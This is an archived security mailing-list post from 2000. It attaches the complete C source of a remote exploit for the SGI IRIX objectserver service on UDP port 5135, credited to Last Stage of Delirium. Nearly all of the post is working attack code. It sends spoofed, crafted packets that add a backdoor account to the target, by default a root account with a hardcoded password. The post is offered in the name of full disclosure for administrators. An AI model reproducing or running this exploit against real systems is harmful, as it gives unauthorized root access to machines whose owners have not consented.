Date: Wed, 29 Mar 2000 18:40:33 -0800
From: Marcy Abene <[email protected]>
To: [email protected]Subject: Irix Objectserver remote exploit
At 08:52 AM 3/29/2000 -0500, Howard wrote:
>Since the patches are now officially released, I feel I can finally
>release the details of the SGI objectserver vulnerability. This
>vulnerability was initailly reported to CERT and SGI Security on
>October 6, 1997. A beta version of patch 2849 was provided in
>February 1998.
>
Hi. As a legitimate function of my work I routinely archive and catalog
vulnerability information and exploit code. In the interest of
full-disclosure and in possibly helping system administrators evaluate
the security of their SGI boxen, I am attaching the remote exploit for
Irix objectserver (udp 5135).
There are big problems with the US government right now - if you are
doing security work (let alone cracking!) be advised that things are
getting seriously fucked. See the "L0phtcrack as a burglary tool"
article? See all these kids getting PRISON sentences for typing? The
government isn't playing by sane rules. Be prepared. Be awake!
Marcy
/* Copyright (c) July 1997 Last Stage of Delirium */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF */
/* Last Stage of Delirium */
/* */
/* The contents of this file may be disclosed to third */
/* parties, copied and duplicated in any form, in whole */
/* or in part, without the prior written consent of LSD. */
/* SGI objectserver "account" exploit
*/
/* Remotely adds account to the IRIX system.
*/
/* Tested on IRIX 5.2, 5.3, 6.0.1, 6.1 and even 6.2,
*/
/* which was supposed to be free from this bug (SGI 19960101-01-PX).
*/
/* The vulnerability "was corrected" on 6.2 systems but
*/
/* SGI guys fucked up the job and it still can be exploited.
*/
/* The same considers patched 5.x,6.0.1 and 6.1 systems
*/
/* where SGI released patches DONT work.
*/
/* The only difference is that root account creation is blocked.
*/
/*
*/
/* usage: ob_account ipaddr [-u username] [-i userid] [-p]
*/
/* -i specify userid (other than 0)
*/
/* -u change the default added username
*/
/* -p probe if there's the objectserver running
*/
/*
*/
/* default account added : lsd
*/
/* default password : m4c10r4!
*/
/* default user home directory : /tmp/.new
*/
/* default userid : 0
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <sys/uio.h>
#include <errno.h>
#include <stdio.h>
#define E if(errno) perror("");
struct iovec iov[2];
struct msghdr msg;
char buf1[1024],buf2[1024];
int sck;
unsigned long adr;
void show_msg(){
char *p,*p1;
int i,j,c,d;
c=0;
printf("%04x ",iov[0].iov_len);
p=(char*)iov[0].iov_base;
for(i=0;i<iov[0].iov_len;i++){
c++;
if(c==17){
printf(" ");
p1=p;p1=p1-16;
for(j=0;j<16;j++){
if(isprint(*p1)) printf("%c",*p1);
else printf(".");
p1++;
}
c=1;
printf("\n ");
}
printf("%02x ",(unsigned char)*p++);
}
printf(" ");
p1=p;p1=p1-c;
if(c>1){
for(i=0;i<(16-c);i++) printf(" ");
for(i=0;i<c;i++){
if(isprint(*p1)) printf("%c",*p1);
else printf(".");
p1++;
}
}
printf("\n");
if(msg.msg_iovlen!=2) return;
c=0;
p=(char*)iov[0].iov_base;
d=p[0x0a]*0x100+p[0x0b];
p=(char*)iov[1].iov_base;
printf("%04x ",d);
for(i=0;i<d;i++){
c++;
if(c==17){
printf(" ");
p1=p;p1=p1-16;
for(j=0;j<16;j++){
if(isprint(*p1)) printf("%c",*p1);
else printf(".");
p1++;
}
c=1;
printf("\n ");
}
printf("%02x ",(unsigned char)*p++);
}
printf(" ");
p1=p;p1=p1-c;
if(c>1){
for(i=0;i<(16-c);i++) printf(" ");
for(i=0;i<c;i++){
if(isprint(*p1)) printf("%c",*p1);
else printf(".");
p1++;
}
}
printf("\n");
fflush(stdout);
}
char numer_one[0x10]={
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x00,0x24,0x00,0x00,0x00,0x00
};
char numer_two[0x24]={
0x21,0x03,0x00,0x43,0x00,0x0a,0x00,0x0a,
0x01,0x01,0x3b,0x01,0x6e,0x00,0x00,0x80,
0x43,0x01,0x01,0x18,0x0b,0x01,0x01,0x3b,
0x01,0x6e,0x01,0x02,0x01,0x03,0x00,0x01,
0x01,0x07,0x01,0x01
};
char dodaj_one[0x10]={
0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,
0x00,0x00,0x01,0x2a,0x00,0x00,0x00,0x00
};
char dodaj_two[1024]={
0x1c,0x03,0x00,0x43,0x02,0x01,0x1d,0x0a,
0x01,0x01,0x3b,0x01,0x78
};
char dodaj_three[27]={
0x01,0x02,0x0a,0x01,0x01,0x3b,
0x01,0x78,0x00,0x00,0x80,0x43,0x01,0x10,
0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,
0x01,0x01,0x09,0x43,0x01
};
char dodaj_four[200]={
0x17,0x0b,0x01,0x01,0x3b,0x01,0x02,
0x01,0x01,0x01,0x09,0x43,0x01,0x03,0x4c,
0x73,0x44,0x17,0x0b,0x01,0x01,0x3b,0x01,
0x6e,0x01,0x06,0x01,0x09,0x43,0x00,0x17,
0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,0x07,
0x01,0x09,0x43,0x00,0x17,0x0b,0x01,0x01,
0x3b,0x01,0x02,0x01,0x03,0x01,0x09,0x43,
0x00,0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,
0x01,0x09,0x01,0x09,0x43,0x00,0x17,0x0b,
0x01,0x01,0x3b,0x01,0x6e,0x01,0x0d,0x01,
0x09,0x43,0x00,0x17,0x0b,0x01,0x01,0x3b,
0x01,0x6e,0x01,0x10,0x01,0x09,0x43,0x00,
0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,
0x0a,0x01,0x09,0x43,0x00,0x17,0x0b,0x01,
0x01,0x3b,0x01,0x6e,0x01,0x0e,0x01,0x03,
0x01,0x09,0x17,0x0b,0x01,0x01,0x3b,0x01,
0x6e,0x01,0x04,0x01,0x09,0x43,0x01,0x0d,
0x61,0x6b,0x46,0x4a,0x64,0x78,0x65,0x6e,
0x4b,0x6e,0x79,0x53,0x2e,0x17,0x0b,0x01,
0x01,0x3b,0x01,0x6e,0x01,0x11,0x01,0x09,
0x43,0x01,0x09,0x2f,0x74,0x6d,0x70,0x2f,
0x2e,0x6e,0x65,0x77,0x17,0x0b,0x01,0x01,
0x3b,0x01,0x6e,0x01,0x12,0x01,0x09,0x43,
0x01,0x04,0x72,0x6f,0x6f,0x74,0x17,0x0b,
0x01,0x01,0x3b,0x01,0x6e,0x01,0x02,0x01,
0x03
};
char dodaj_five[39]={
0x17,0x0b,0x01,0x01,0x3b,0x01,
0x6e,0x01,0x13,0x01,0x09,0x43,0x01,0x08,
0x2f,0x62,0x69,0x6e,0x2f,0x63,0x73,0x68,
0x17,0x0b,0x01,0x01,0x3b,0x01,0x6e,0x01,
0x0f,0x01,0x09,0x43,0x01,0x03,'L','S','D'
};
char fake_adrs[0x10]={
0x00,0x02,0x14,0x0f,0xff,0xff,0xff,0xff,
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
};
char *get_sysinfo(){
int i=0,j,len;
iov[0].iov_base=numer_one;
iov[0].iov_len=0x10;
iov[1].iov_base=numer_two;
iov[1].iov_len=0x24;
msg.msg_name=(caddr_t)fake_adrs;
msg.msg_namelen=0x10;
msg.msg_iov=iov;
msg.msg_iovlen=2;
msg.msg_accrights=(caddr_t)0;
msg.msg_accrightslen=0;
printf("SM: --[0x%04x bytes]--\n",sendmsg(sck,&msg,0)); show_msg();
printf("\n");
iov[0].iov_base=buf1;
iov[1].iov_base=buf2;
iov[1].iov_len=0x200;
msg.msg_iovlen=2;
printf("RM: --[0x%04x bytes]--\n",len=recvmsg(sck,&msg,0));
show_msg();
printf("\n");
while(i<len-0x16)
if(!memcmp("\x0a\x01\x01\x3b\x01\x78",&buf2[i],6)){
printf("remote system ID: ");
for(j=0;j<buf2[i+6];j++) printf("%02x ",buf2[i+7+j]);
printf("\n");
return(&buf2[i+6]);
}else i++;
return(0);
}
void new_account(int len){
iov[0].iov_base=dodaj_one;
iov[0].iov_len=0x10;
iov[1].iov_base=dodaj_two;
iov[1].iov_len=len;
msg.msg_name=(caddr_t)fake_adrs;
msg.msg_namelen=0x10;
msg.msg_iov=iov;
msg.msg_iovlen=2;
msg.msg_accrights=(caddr_t)0;
msg.msg_accrightslen=0;
printf("SM: --[0x%04x bytes]--\n",sendmsg(sck,&msg,0)); show_msg();
printf("\n");
iov[0].iov_base=buf1;
iov[1].iov_base=buf2;
iov[1].iov_len=0x200;
msg.msg_iovlen=2;
printf("RM: --[0x%04x bytes]--\n",recvmsg(sck,&msg,0)); show_msg();
printf("\n");
}
void info(char *text){
printf("SGI objectserver \"account\" exploit by LSD\n");
printf("usage: %s ipaddr [-u username] [-i userid] [-p]\n",text);
}
main(int argc,char **argv){
int c,user,version,probe;
unsigned int offset,gr_offset,userid;
char *sys_info;
char username[20];
extern char *optarg;
extern int optind;
if(argc<2) {info(argv[0]);exit(0);}
optind=2;
offset=40;
user=version=probe=0;
while((c=getopt(argc,argv,"u:i:p"))!=-1)
switch(c){
case 'u': strcpy(username,optarg);
user=1;
break;
case 'i': version=62;
userid=atoi(optarg);
break;
case 'p': probe=1;
break;
case '?':
default : info(argv[0]);
exit(1);
}
sck=socket(AF_INET,SOCK_DGRAM,0);
adr=inet_addr(argv[1]);
memcpy(&fake_adrs[4],&adr,4);
if(!(sys_info=get_sysinfo())){
printf("error: can't get system ID for %s.\n",argv[1]);
exit(1);
}
if(!probe){
memcpy(&dodaj_two[0x0d],sys_info,sys_info[0]+1);
memcpy(&dodaj_two[0x0d+sys_info[0]+1],&dodaj_three[0],27);
offset+=sys_info[0]+1;
if(!user) strcpy(username,"lsd");
dodaj_two[offset++]=strlen(username);
strcpy(&dodaj_two[offset],username);offset+=strlen(username);
memcpy(&dodaj_two[offset],&dodaj_four[0],200);
offset+=200;
gr_offset=offset-15;
if(version){
dodaj_two[gr_offset++]='u';
dodaj_two[gr_offset++]='s';
dodaj_two[gr_offset++]='e';
dodaj_two[gr_offset++]='r';
dodaj_two[offset++]=0x02;
dodaj_two[offset++]=userid>>8;
dodaj_two[offset++]=userid&0xff;
}
else dodaj_two[offset++]=0x00;
memcpy(&dodaj_two[offset],&dodaj_five[0],39);
offset+=39;
dodaj_one[10]=offset>>8;
dodaj_one[11]=offset&0xff;
new_account(offset);
}
}
/* end g23 exploit post */
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